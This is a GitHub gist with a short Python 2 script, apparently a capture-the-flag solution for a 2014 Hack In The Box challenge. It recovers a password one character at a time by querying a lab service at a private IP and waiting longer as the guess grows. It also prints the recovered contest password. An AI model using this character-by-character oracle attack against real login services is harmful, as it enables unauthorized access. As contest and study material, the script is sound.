Skip to content

Instantly share code, notes, and snippets.

@yohanes
Created October 26, 2014 11:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yohanes/14df8f7b1665520655a0 to your computer and use it in GitHub Desktop.
Save yohanes/14df8f7b1665520655a0 to your computer and use it in GitHub Desktop.
Guess challenge 3 HITB2014
import socket
import re
import time
def recv_until(st):
ret = ""
while st not in ret:
ret += s.recv(8192)
return ret
space = "abcdefghijklmnopqrstuvwxyz0ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
#space = "at";
correct = "thelasteverhackintheboxconferenceheldinkualalumpurmalaysia"
current = 0
while True:
test = space[current]
s = socket.create_connection(("192.168.10.200", 54321))
s.settimeout(1)
recv_until("word :")
tt = correct + test
print "testing ", tt
s.send(tt)
time.sleep(0.2*(1+len(correct)))
res = s.recv(8192)
print "$$$---", res, "---$$$"
if "Are" in res:
current += 1
else:
correct += test
print "Current: ", correct
current = 0
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment